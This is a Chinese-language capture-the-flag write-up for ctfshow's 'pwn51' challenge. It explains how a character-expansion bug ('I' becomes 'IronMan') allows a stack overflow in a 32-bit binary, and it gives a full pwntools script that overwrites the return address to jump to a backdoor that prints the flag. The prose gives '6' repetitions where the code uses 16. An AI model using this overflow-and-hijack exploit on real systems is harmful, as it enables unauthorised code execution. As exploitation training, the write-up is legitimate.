pwn51
I‘m IronMan
检查保护,32位程序只开了代码执行保护
查看程序,看了一眼天黑了。太好了!是c艹写的,我们有救了(密码的)。发现 cat /ctfshow_flag 在 sub_804902E 函数中,虽然看不懂但是得找到一个地方栈溢出看能不能劫持到后门函数上去。
后面的看不懂,但是能看懂在这个函数里最开始有个read。但是read只能读0x20(32),而s如果需要栈溢出需要0x6C+4(112)不能进行栈溢出
这里运行一下发现缺少 libstdc++6 ,多次尝试安装无果
查看别人的wp发现,运行程序可以将输入字符串中的 I(1) 转化为 IronMan(7),因此6个I便可以起到112个填充字符的作用,编写代码
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
# context.arch='amd64'
context.arch = 'i386'
# context.log_level = 'debug'
host='pwn.challenge.ctf.show'
port=28309
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
# local_libc = elf.libc.path
# libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
binsh_add = 0x0804902E
payload = b'I'*16 + p32(binsh_add)
io.sendlineafter(b'you?',payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()